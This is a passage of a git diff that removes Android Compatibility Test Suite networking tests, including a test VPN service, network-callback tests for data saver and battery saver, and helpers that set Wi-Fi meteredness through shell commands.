-        // Needs to use BIND_NOT_FOREGROUND so app2 does not run in
-        // the same process state as app
-        mContext.bindService(intent, mServiceConnection, Context.BIND_AUTO_CREATE
-                | Context.BIND_NOT_FOREGROUND);
-        cv.block(TIMEOUT_MS);
-        if (mService == null) {
-            throw new IllegalStateException(
-                    "Could not bind to MyService service after " + TIMEOUT_MS + "ms");
-        }
-    }
-
-    public void unbind() {
-        if (mService != null) {
-            mContext.unbindService(mServiceConnection);
-        }
-    }
-
-    public void registerBroadcastReceiver() throws RemoteException {
-        mService.registerBroadcastReceiver();
-    }
-
-    public int getCounters(String receiverName, String action) throws RemoteException {
-        return mService.getCounters(receiverName, action);
-    }
-
-    public String checkNetworkStatus() throws RemoteException {
-        return mService.checkNetworkStatus();
-    }
-
-    public String getRestrictBackgroundStatus() throws RemoteException {
-        return mService.getRestrictBackgroundStatus();
-    }
-
-    public void sendNotification(int notificationId, String notificationType) throws RemoteException {
-        mService.sendNotification(notificationId, notificationType);
-    }
-
-    public void registerNetworkCallback(INetworkCallback cb) throws RemoteException {
-        mService.registerNetworkCallback(cb);
-    }
-
-    public void unregisterNetworkCallback() throws RemoteException {
-        mService.unregisterNetworkCallback();
-    }
-}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/MyVpnService.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/MyVpnService.java
deleted file mode 100644
index 7d3d4fc..0000000
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/MyVpnService.java
+++ /dev/null
@@ -1,184 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net.hostside;
-
-import android.content.Intent;
-import android.net.Network;
-import android.net.ProxyInfo;
-import android.net.VpnService;
-import android.os.ParcelFileDescriptor;
-import android.content.pm.PackageManager.NameNotFoundException;
-import android.text.TextUtils;
-import android.util.Log;
-
-import java.io.IOException;
-import java.net.InetAddress;
-import java.net.UnknownHostException;
-import java.util.ArrayList;
-
-public class MyVpnService extends VpnService {
-
-    private static String TAG = "MyVpnService";
-    private static int MTU = 1799;
-
-    public static final String ACTION_ESTABLISHED = "com.android.cts.net.hostside.ESTABNLISHED";
-    public static final String EXTRA_ALWAYS_ON = "is-always-on";
-    public static final String EXTRA_LOCKDOWN_ENABLED = "is-lockdown-enabled";
-
-    private ParcelFileDescriptor mFd = null;
-    private PacketReflector mPacketReflector = null;
-
-    @Override
-    public int onStartCommand(Intent intent, int flags, int startId) {
-        String packageName = getPackageName();
-        String cmd = intent.getStringExtra(packageName + ".cmd");
-        if ("disconnect".equals(cmd)) {
-            stop();
-        } else if ("connect".equals(cmd)) {
-            start(packageName, intent);
-        }
-
-        return START_NOT_STICKY;
-    }
-
-    private void start(String packageName, Intent intent) {
-        Builder builder = new Builder();
-
-        String addresses = intent.getStringExtra(packageName + ".addresses");
-        if (addresses != null) {
-            String[] addressArray = addresses.split(",");
-            for (int i = 0; i < addressArray.length; i++) {
-                String[] prefixAndMask = addressArray[i].split("/");
-                try {
-                    InetAddress address = InetAddress.getByName(prefixAndMask[0]);
-                    int prefixLength = Integer.parseInt(prefixAndMask[1]);
-                    builder.addAddress(address, prefixLength);
-                } catch (UnknownHostException|NumberFormatException|
-                         ArrayIndexOutOfBoundsException e) {
-                    continue;
-                }
-            }
-        }
-
-        String routes = intent.getStringExtra(packageName + ".routes");
-        if (routes != null) {
-            String[] routeArray = routes.split(",");
-            for (int i = 0; i < routeArray.length; i++) {
-                String[] prefixAndMask = routeArray[i].split("/");
-                try {
-                    InetAddress address = InetAddress.getByName(prefixAndMask[0]);
-                    int prefixLength = Integer.parseInt(prefixAndMask[1]);
-                    builder.addRoute(address, prefixLength);
-                } catch (UnknownHostException|NumberFormatException|
-                         ArrayIndexOutOfBoundsException e) {
-                    continue;
-                }
-            }
-        }
-
-        String allowed = intent.getStringExtra(packageName + ".allowedapplications");
-        if (allowed != null) {
-            String[] packageArray = allowed.split(",");
-            for (int i = 0; i < packageArray.length; i++) {
-                String allowedPackage = packageArray[i];
-                if (!TextUtils.isEmpty(allowedPackage)) {
-                    try {
-                        builder.addAllowedApplication(allowedPackage);
-                    } catch(NameNotFoundException e) {
-                        continue;
-                    }
-                }
-            }
-        }
-
-        String disallowed = intent.getStringExtra(packageName + ".disallowedapplications");
-        if (disallowed != null) {
-            String[] packageArray = disallowed.split(",");
-            for (int i = 0; i < packageArray.length; i++) {
-                String disallowedPackage = packageArray[i];
-                if (!TextUtils.isEmpty(disallowedPackage)) {
-                    try {
-                        builder.addDisallowedApplication(disallowedPackage);
-                    } catch(NameNotFoundException e) {
-                        continue;
-                    }
-                }
-            }
-        }
-
-        ArrayList<Network> underlyingNetworks =
-                intent.getParcelableArrayListExtra(packageName + ".underlyingNetworks");
-        if (underlyingNetworks == null) {
-            // VPN tracks default network
-            builder.setUnderlyingNetworks(null);
-        } else {
-            builder.setUnderlyingNetworks(underlyingNetworks.toArray(new Network[0]));
-        }
-
-        boolean isAlwaysMetered = intent.getBooleanExtra(packageName + ".isAlwaysMetered", false);
-        builder.setMetered(isAlwaysMetered);
-
-        ProxyInfo vpnProxy = intent.getParcelableExtra(packageName + ".httpProxy");
-        builder.setHttpProxy(vpnProxy);
-        builder.setMtu(MTU);
-        builder.setBlocking(true);
-        builder.setSession("MyVpnService");
-
-        Log.i(TAG, "Establishing VPN,"
-                + " addresses=" + addresses
-                + " routes=" + routes
-                + " allowedApplications=" + allowed
-                + " disallowedApplications=" + disallowed);
-
-        mFd = builder.establish();
-        Log.i(TAG, "Established, fd=" + (mFd == null ? "null" : mFd.getFd()));
-
-        broadcastEstablished();
-
-        mPacketReflector = new PacketReflector(mFd.getFileDescriptor(), MTU);
-        mPacketReflector.start();
-    }
-
-    private void broadcastEstablished() {
-        final Intent bcIntent = new Intent(ACTION_ESTABLISHED);
-        bcIntent.putExtra(EXTRA_ALWAYS_ON, isAlwaysOn());
-        bcIntent.putExtra(EXTRA_LOCKDOWN_ENABLED, isLockdownEnabled());
-        sendBroadcast(bcIntent);
-    }
-
-    private void stop() {
-        if (mPacketReflector != null) {
-            mPacketReflector.interrupt();
-            mPacketReflector = null;
-        }
-        try {
-            if (mFd != null) {
-                Log.i(TAG, "Closing filedescriptor");
-                mFd.close();
-            }
-        } catch(IOException e) {
-        } finally {
-            mFd = null;
-        }
-    }
-
-    @Override
-    public void onDestroy() {
-        stop();
-        super.onDestroy();
-    }
-}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkCallbackTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkCallbackTest.java
deleted file mode 100644
index 2ac29e7..0000000
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkCallbackTest.java
+++ /dev/null
@@ -1,300 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net.hostside;
-
-import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_METERED;
-import static com.android.cts.net.hostside.NetworkPolicyTestUtils.canChangeActiveNetworkMeteredness;
-import static com.android.cts.net.hostside.NetworkPolicyTestUtils.setRestrictBackground;
-import static com.android.cts.net.hostside.NetworkPolicyTestUtils.isActiveNetworkMetered;
-import static com.android.cts.net.hostside.Property.BATTERY_SAVER_MODE;
-import static com.android.cts.net.hostside.Property.DATA_SAVER_MODE;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static org.junit.Assume.assumeTrue;
-
-import android.net.Network;
-import android.net.NetworkCapabilities;
-import android.util.Log;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-
-import java.util.Objects;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-
-public class NetworkCallbackTest extends AbstractRestrictBackgroundNetworkTestCase {
-    private Network mNetwork;
-    private final TestNetworkCallback mTestNetworkCallback = new TestNetworkCallback();
-    @Rule
-    public final MeterednessConfigurationRule mMeterednessConfiguration
-            = new MeterednessConfigurationRule();
-
-    enum CallbackState {
-        NONE,
-        AVAILABLE,
-        LOST,
-        BLOCKED_STATUS,
-        CAPABILITIES
-    }
-
-    private static class CallbackInfo {
-        public final CallbackState state;
-        public final Network network;
-        public final Object arg;
-
-        CallbackInfo(CallbackState s, Network n, Object o) {
-            state = s; network = n; arg = o;
-        }
-
-        public String toString() {
-            return String.format("%s (%s) (%s)", state, network, arg);
-        }
-
-        @Override
-        public boolean equals(Object o) {
-            if (!(o instanceof CallbackInfo)) return false;
-            // Ignore timeMs, since it's unpredictable.
-            final CallbackInfo other = (CallbackInfo) o;
-            return (state == other.state) && Objects.equals(network, other.network)
-                    && Objects.equals(arg, other.arg);
-        }
-
-        @Override
-        public int hashCode() {
-            return Objects.hash(state, network, arg);
-        }
-    }
-
-    private class TestNetworkCallback extends INetworkCallback.Stub {
-        private static final int TEST_CONNECT_TIMEOUT_MS = 30_000;
-        private static final int TEST_CALLBACK_TIMEOUT_MS = 5_000;
-
-        private final LinkedBlockingQueue<CallbackInfo> mCallbacks = new LinkedBlockingQueue<>();
-
-        protected void setLastCallback(CallbackState state, Network network, Object o) {
-            mCallbacks.offer(new CallbackInfo(state, network, o));
-        }
-
-        CallbackInfo nextCallback(int timeoutMs) {
-            CallbackInfo cb = null;
-            try {
-                cb = mCallbacks.poll(timeoutMs, TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-            }
-            if (cb == null) {
-                fail("Did not receive callback after " + timeoutMs + "ms");
-            }
-            return cb;
-        }
-
-        CallbackInfo expectCallback(CallbackState state, Network expectedNetwork, Object o) {
-            final CallbackInfo expected = new CallbackInfo(state, expectedNetwork, o);
-            final CallbackInfo actual = nextCallback(TEST_CALLBACK_TIMEOUT_MS);
-            assertEquals("Unexpected callback:", expected, actual);
-            return actual;
-        }
-
-        @Override
-        public void onAvailable(Network network) {
-            setLastCallback(CallbackState.AVAILABLE, network, null);
-        }
-
-        @Override
-        public void onLost(Network network) {
-            setLastCallback(CallbackState.LOST, network, null);
-        }
-
-        @Override
-        public void onBlockedStatusChanged(Network network, boolean blocked) {
-            setLastCallback(CallbackState.BLOCKED_STATUS, network, blocked);
-        }
-
-        @Override
-        public void onCapabilitiesChanged(Network network, NetworkCapabilities cap) {
-            setLastCallback(CallbackState.CAPABILITIES, network, cap);
-        }
-
-        public Network expectAvailableCallbackAndGetNetwork() {
-            final CallbackInfo cb = nextCallback(TEST_CONNECT_TIMEOUT_MS);
-            if (cb.state != CallbackState.AVAILABLE) {
-                fail("Network is not available. Instead obtained the following callback :"
-                        + cb);
-            }
-            return cb.network;
-        }
-
-        public void expectBlockedStatusCallback(Network expectedNetwork, boolean expectBlocked) {
-            expectCallback(CallbackState.BLOCKED_STATUS, expectedNetwork, expectBlocked);
-        }
-
-        public void expectBlockedStatusCallbackEventually(Network expectedNetwork,
-                boolean expectBlocked) {
-            final long deadline = System.currentTimeMillis() + TEST_CALLBACK_TIMEOUT_MS;
-            do {
-                final CallbackInfo cb = nextCallback((int) (deadline - System.currentTimeMillis()));
-                if (cb.state == CallbackState.BLOCKED_STATUS
-                        && cb.network.equals(expectedNetwork)) {
-                    assertEquals(expectBlocked, cb.arg);
-                    return;
-                }
-            } while (System.currentTimeMillis() <= deadline);
-            fail("Didn't receive onBlockedStatusChanged()");
-        }
-
-        public void expectCapabilitiesCallbackEventually(Network expectedNetwork, boolean hasCap,
-                int cap) {
-            final long deadline = System.currentTimeMillis() + TEST_CALLBACK_TIMEOUT_MS;
-            do {
-                final CallbackInfo cb = nextCallback((int) (deadline - System.currentTimeMillis()));
-                if (cb.state != CallbackState.CAPABILITIES
-                        || !expectedNetwork.equals(cb.network)
-                        || (hasCap != ((NetworkCapabilities) cb.arg).hasCapability(cap))) {
-                    Log.i("NetworkCallbackTest#expectCapabilitiesCallback",
-                            "Ignoring non-matching callback : " + cb);
-                    continue;
-                }
-                // Found a match, return
-                return;
-            } while (System.currentTimeMillis() <= deadline);
-            fail("Didn't receive the expected callback to onCapabilitiesChanged(). Check the "
-                    + "log for a list of received callbacks, if any.");
-        }
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        super.setUp();
-
-        assumeTrue(isActiveNetworkMetered(true) || canChangeActiveNetworkMeteredness());
-
-        registerBroadcastReceiver();
-
-        removeRestrictBackgroundWhitelist(mUid);
-        removeRestrictBackgroundBlacklist(mUid);
-        assertRestrictBackgroundChangedReceived(0);
-
-        // Initial state
-        setBatterySaverMode(false);
-        setRestrictBackground(false);
-
-        // Make wifi a metered network.
-        mMeterednessConfiguration.configureNetworkMeteredness(true);
-
-        // Register callback
-        registerNetworkCallback((INetworkCallback.Stub) mTestNetworkCallback);
-        // Once the wifi is marked as metered, the wifi will reconnect. Wait for onAvailable()
-        // callback to ensure wifi is connected before the test and store the default network.
-        mNetwork = mTestNetworkCallback.expectAvailableCallbackAndGetNetwork();
-        // Check that the network is metered.
-        mTestNetworkCallback.expectCapabilitiesCallbackEventually(mNetwork,
-                false /* hasCapability */, NET_CAPABILITY_NOT_METERED);
-        mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        super.tearDown();
-
-        setRestrictBackground(false);
-        setBatterySaverMode(false);
-        unregisterNetworkCallback();
-    }
-
-    @RequiredProperties({DATA_SAVER_MODE})
-    @Test
-    public void testOnBlockedStatusChanged_dataSaver() throws Exception {
-        try {
-            // Enable restrict background
-            setRestrictBackground(true);
-            assertBackgroundNetworkAccess(false);
-            mTestNetworkCallback.expectBlockedStatusCallbackEventually(mNetwork, true);
-
-            // Add to whitelist
-            addRestrictBackgroundWhitelist(mUid);
-            assertBackgroundNetworkAccess(true);
-            mTestNetworkCallback.expectBlockedStatusCallbackEventually(mNetwork, false);
-
-            // Remove from whitelist
-            removeRestrictBackgroundWhitelist(mUid);
-            assertBackgroundNetworkAccess(false);
-            mTestNetworkCallback.expectBlockedStatusCallbackEventually(mNetwork, true);
-        } finally {
-            mMeterednessConfiguration.resetNetworkMeteredness();
-        }
-
-        // Set to non-metered network
-        mMeterednessConfiguration.configureNetworkMeteredness(false);
-        mTestNetworkCallback.expectCapabilitiesCallbackEventually(mNetwork,
-                true /* hasCapability */, NET_CAPABILITY_NOT_METERED);
-        try {
-            assertBackgroundNetworkAccess(true);
-            mTestNetworkCallback.expectBlockedStatusCallbackEventually(mNetwork, false);
-
-            // Disable restrict background, should not trigger callback
-            setRestrictBackground(false);
-            assertBackgroundNetworkAccess(true);
-        } finally {
-            mMeterednessConfiguration.resetNetworkMeteredness();
-        }
-    }
-
-    @RequiredProperties({BATTERY_SAVER_MODE})
-    @Test
-    public void testOnBlockedStatusChanged_powerSaver() throws Exception {
-        try {
-            // Enable Power Saver
-            setBatterySaverMode(true);
-            assertBackgroundNetworkAccess(false);
-            mTestNetworkCallback.expectBlockedStatusCallbackEventually(mNetwork, true);
-
-            // Disable Power Saver
-            setBatterySaverMode(false);
-            assertBackgroundNetworkAccess(true);
-            mTestNetworkCallback.expectBlockedStatusCallbackEventually(mNetwork, false);
-        } finally {
-            mMeterednessConfiguration.resetNetworkMeteredness();
-        }
-
-        // Set to non-metered network
-        mMeterednessConfiguration.configureNetworkMeteredness(false);
-        mTestNetworkCallback.expectCapabilitiesCallbackEventually(mNetwork,
-                true /* hasCapability */, NET_CAPABILITY_NOT_METERED);
-        try {
-            // Enable Power Saver
-            setBatterySaverMode(true);
-            assertBackgroundNetworkAccess(false);
-            mTestNetworkCallback.expectBlockedStatusCallbackEventually(mNetwork, true);
-
-            // Disable Power Saver
-            setBatterySaverMode(false);
-            assertBackgroundNetworkAccess(true);
-            mTestNetworkCallback.expectBlockedStatusCallbackEventually(mNetwork, false);
-        } finally {
-            mMeterednessConfiguration.resetNetworkMeteredness();
-        }
-    }
-
-    // TODO: 1. test against VPN lockdown.
-    //       2. test against multiple networks.
-}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkPolicyTestRunner.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkPolicyTestRunner.java
deleted file mode 100644
index f340907..0000000
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkPolicyTestRunner.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net.hostside;
-
-import androidx.test.internal.runner.junit4.AndroidJUnit4ClassRunner;
-
-import org.junit.rules.RunRules;
-import org.junit.rules.TestRule;
-import org.junit.runners.model.FrameworkMethod;
-import org.junit.runners.model.InitializationError;
-import org.junit.runners.model.Statement;
-
-import java.util.List;
-
-/**
- * Custom runner to allow dumping logs after a test failure before the @After methods get to run.
- */
-public class NetworkPolicyTestRunner extends AndroidJUnit4ClassRunner {
-    private TestRule mDumpOnFailureRule = new DumpOnFailureRule();
-
-    public NetworkPolicyTestRunner(Class<?> klass) throws InitializationError {
-        super(klass);
-    }
-
-    @Override
-    public Statement methodInvoker(FrameworkMethod method, Object test) {
-        return new RunRules(super.methodInvoker(method, test), List.of(mDumpOnFailureRule),
-                describeChild(method));
-    }
-}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkPolicyTestUtils.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkPolicyTestUtils.java
deleted file mode 100644
index 3807d79..0000000
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkPolicyTestUtils.java
+++ /dev/null
@@ -1,284 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net.hostside;
-
-import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_DISABLED;
-import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_ENABLED;
-import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_WHITELISTED;
-import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_METERED;
-import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
-
-import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
-import static com.android.cts.net.hostside.AbstractRestrictBackgroundNetworkTestCase.TAG;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.app.ActivityManager;
-import android.app.Instrumentation;
-import android.content.Context;
-import android.location.LocationManager;
-import android.net.ConnectivityManager;
-import android.net.ConnectivityManager.NetworkCallback;
-import android.net.Network;
-import android.net.NetworkCapabilities;
-import android.net.wifi.WifiManager;
-import android.os.Process;
-import android.text.TextUtils;
-import android.util.Log;
-import android.util.Pair;
-
-import com.android.compatibility.common.util.AppStandbyUtils;
-import com.android.compatibility.common.util.BatteryUtils;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-import androidx.test.platform.app.InstrumentationRegistry;
-
-public class NetworkPolicyTestUtils {
-
-    private static final int TIMEOUT_CHANGE_METEREDNESS_MS = 5000;
-
-    private static ConnectivityManager mCm;
-    private static WifiManager mWm;
-
-    private static Boolean mBatterySaverSupported;
-    private static Boolean mDataSaverSupported;
-    private static Boolean mDozeModeSupported;
-    private static Boolean mAppStandbySupported;
-
-    private NetworkPolicyTestUtils() {}
-
-    public static boolean isBatterySaverSupported() {
-        if (mBatterySaverSupported == null) {
-            mBatterySaverSupported = BatteryUtils.isBatterySaverSupported();
-        }
-        return mBatterySaverSupported;
-    }
-
-    /**
-     * As per CDD requirements, if the device doesn't support data saver mode then
-     * ConnectivityManager.getRestrictBackgroundStatus() will always return
-     * RESTRICT_BACKGROUND_STATUS_DISABLED. So, enable the data saver mode and check if
-     * ConnectivityManager.getRestrictBackgroundStatus() for an app in background returns
-     * RESTRICT_BACKGROUND_STATUS_DISABLED or not.
-     */
-    public static boolean isDataSaverSupported() {
-        if (mDataSaverSupported == null) {
-            assertMyRestrictBackgroundStatus(RESTRICT_BACKGROUND_STATUS_DISABLED);
-            try {
-                setRestrictBackground(true);
-                mDataSaverSupported = !isMyRestrictBackgroundStatus(
-                        RESTRICT_BACKGROUND_STATUS_DISABLED);
-            } finally {
-                setRestrictBackground(false);
-            }
-        }
-        return mDataSaverSupported;
-    }
-
-    public static boolean isDozeModeSupported() {
-        if (mDozeModeSupported == null) {
-            final String result = executeShellCommand("cmd deviceidle enabled deep");
-            mDozeModeSupported = result.equals("1");
-        }
-        return mDozeModeSupported;
-    }
-
-    public static boolean isAppStandbySupported() {
-        if (mAppStandbySupported == null) {
-            mAppStandbySupported = AppStandbyUtils.isAppStandbyEnabled();
-        }
-        return mAppStandbySupported;
-    }
-
-    public static boolean isLowRamDevice() {
-        final ActivityManager am = (ActivityManager) getContext().getSystemService(
-                Context.ACTIVITY_SERVICE);
-        return am.isLowRamDevice();
-    }
-
-    public static boolean isLocationEnabled() {
-        final LocationManager lm = (LocationManager) getContext().getSystemService(
-                Context.LOCATION_SERVICE);
-        return lm.isLocationEnabled();
-    }
-
-    public static void setLocationEnabled(boolean enabled) {
-        final LocationManager lm = (LocationManager) getContext().getSystemService(
-                Context.LOCATION_SERVICE);
-        lm.setLocationEnabledForUser(enabled, Process.myUserHandle());
-        assertEquals("Couldn't change location enabled state", lm.isLocationEnabled(), enabled);
-        Log.d(TAG, "Changed location enabled state to " + enabled);
-    }
-
-    public static boolean isActiveNetworkMetered(boolean metered) {
-        return getConnectivityManager().isActiveNetworkMetered() == metered;
-    }
-
-    public static boolean canChangeActiveNetworkMeteredness() {
-        final Network activeNetwork = getConnectivityManager().getActiveNetwork();
-        final NetworkCapabilities networkCapabilities
-                = getConnectivityManager().getNetworkCapabilities(activeNetwork);
-        return networkCapabilities.hasTransport(TRANSPORT_WIFI);
-    }
-
-    public static Pair<String, Boolean> setupMeteredNetwork(boolean metered) throws Exception {
-        if (isActiveNetworkMetered(metered)) {
-            return null;
-        }
-        final boolean isLocationEnabled = isLocationEnabled();
-        try {
-            if (!isLocationEnabled) {
-                setLocationEnabled(true);
-            }
-            final String ssid = unquoteSSID(getWifiManager().getConnectionInfo().getSSID());
-            assertNotEquals(WifiManager.UNKNOWN_SSID, ssid);
-            setWifiMeteredStatus(ssid, metered);
-            return Pair.create(ssid, !metered);
-        } finally {
-            // Reset the location enabled state
-            if (!isLocationEnabled) {
-                setLocationEnabled(false);
-            }
-        }
-    }
-
-    public static void resetMeteredNetwork(String ssid, boolean metered) throws Exception {
-        setWifiMeteredStatus(ssid, metered);
-    }
-
-    public static void setWifiMeteredStatus(String ssid, boolean metered) throws Exception {
-        assertFalse("SSID should not be empty", TextUtils.isEmpty(ssid));
-        final String cmd = "cmd netpolicy set metered-network " + ssid + " " + metered;
-        executeShellCommand(cmd);
-        assertWifiMeteredStatus(ssid, metered);
-        assertActiveNetworkMetered(metered);
-    }
-
-    public static void assertWifiMeteredStatus(String ssid, boolean expectedMeteredStatus) {
-        final String result = executeShellCommand("cmd netpolicy list wifi-networks");
-        final String expectedLine = ssid + ";" + expectedMeteredStatus;
-        assertTrue("Expected line: " + expectedLine + "; Actual result: " + result,
-                result.contains(expectedLine));
-    }
-
-    // Copied from cts/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
-    public static void assertActiveNetworkMetered(boolean expectedMeteredStatus) throws Exception {
-        final CountDownLatch latch = new CountDownLatch(1);
-        final NetworkCallback networkCallback = new NetworkCallback() {
-            @Override
-            public void onCapabilitiesChanged(Network network, NetworkCapabilities nc) {
-                final boolean metered = !nc.hasCapability(NET_CAPABILITY_NOT_METERED);
-                if (metered == expectedMeteredStatus) {
-                    latch.countDown();
-                }
-            }
-        };
-        // Registering a callback here guarantees onCapabilitiesChanged is called immediately
-        // with the current setting. Therefore, if the setting has already been changed,
-        // this method will return right away, and if not it will wait for the setting to change.
-        getConnectivityManager().registerDefaultNetworkCallback(networkCallback);
-        if (!latch.await(TIMEOUT_CHANGE_METEREDNESS_MS, TimeUnit.MILLISECONDS)) {
-            fail("Timed out waiting for active network metered status to change to "
-                    + expectedMeteredStatus + " ; network = "
-                    + getConnectivityManager().getActiveNetwork());
-        }
-        getConnectivityManager().unregisterNetworkCallback(networkCallback);
-    }
-
-    public static void setRestrictBackground(boolean enabled) {
-        executeShellCommand("cmd netpolicy set restrict-background " + enabled);
-        final String output = executeShellCommand("cmd netpolicy get restrict-background");
-        final String expectedSuffix = enabled ? "enabled" : "disabled";
-        assertTrue("output '" + output + "' should end with '" + expectedSuffix + "'",
-                output.endsWith(expectedSuffix));
-    }
-
-    public static boolean isMyRestrictBackgroundStatus(int expectedStatus) {
-        final int actualStatus = getConnectivityManager().getRestrictBackgroundStatus();
-        if (expectedStatus != actualStatus) {
-            Log.d(TAG, "MyRestrictBackgroundStatus: "
-                    + "Expected: " + restrictBackgroundValueToString(expectedStatus)
-                    + "; Actual: " + restrictBackgroundValueToString(actualStatus));
-            return false;
-        }
-        return true;
-    }
-
-    // Copied from cts/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
-    private static String unquoteSSID(String ssid) {
-        // SSID is returned surrounded by quotes if it can be decoded as UTF-8.
-        // Otherwise it's guaranteed not to start with a quote.
-        if (ssid.charAt(0) == '"') {
-            return ssid.substring(1, ssid.length() - 1);
-        } else {
-            return ssid;
-        }
-    }
-
-    public static String restrictBackgroundValueToString(int status) {
-        switch (status) {
-            case RESTRICT_BACKGROUND_STATUS_DISABLED:
-                return "DISABLED";
-            case RESTRICT_BACKGROUND_STATUS_WHITELISTED:
-                return "WHITELISTED";
-            case RESTRICT_BACKGROUND_STATUS_ENABLED:
-                return "ENABLED";
-            default:
-                return "UNKNOWN_STATUS_" + status;
-        }
-    }
-
-    public static String executeShellCommand(String command) {
-        final String result = runShellCommand(command).trim();
-        Log.d(TAG, "Output of '" + command + "': '" + result + "'");
-        return result;
-    }
-
-    public static void assertMyRestrictBackgroundStatus(int expectedStatus) {
-        final int actualStatus = getConnectivityManager().getRestrictBackgroundStatus();
-        assertEquals(restrictBackgroundValueToString(expectedStatus),
-                restrictBackgroundValueToString(actualStatus));
-    }
-
-    public static ConnectivityManager getConnectivityManager() {
-        if (mCm == null) {
-            mCm = (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
-        }
-        return mCm;
-    }
-
-    public static WifiManager getWifiManager() {
-        if (mWm == null) {
-            mWm = (WifiManager) getContext().getSystemService(Context.WIFI_SERVICE);
-        }
-        return mWm;
-    }
-
-    public static Context getContext() {
-        return getInstrumentation().getContext();
-    }
-
-    public static Instrumentation getInstrumentation() {
-        return InstrumentationRegistry.getInstrumentation();
-    }
-}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/PacketReflector.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/PacketReflector.java
deleted file mode 100644
index 124c2c3..0000000
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/PacketReflector.java
+++ /dev/null
@@ -1,254 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net.hostside;
-
-import static android.system.OsConstants.ICMP6_ECHO_REPLY;
-import static android.system.OsConstants.ICMP6_ECHO_REQUEST;
-import static android.system.OsConstants.ICMP_ECHO;
-import static android.system.OsConstants.ICMP_ECHOREPLY;
-
-import android.system.ErrnoException;
-import android.system.Os;
-import android.util.Log;
-
-import java.io.FileDescriptor;
-import java.io.IOException;
-
-public class PacketReflector extends Thread {
-
-    private static int IPV4_HEADER_LENGTH = 20;
-    private static int IPV6_HEADER_LENGTH = 40;
-
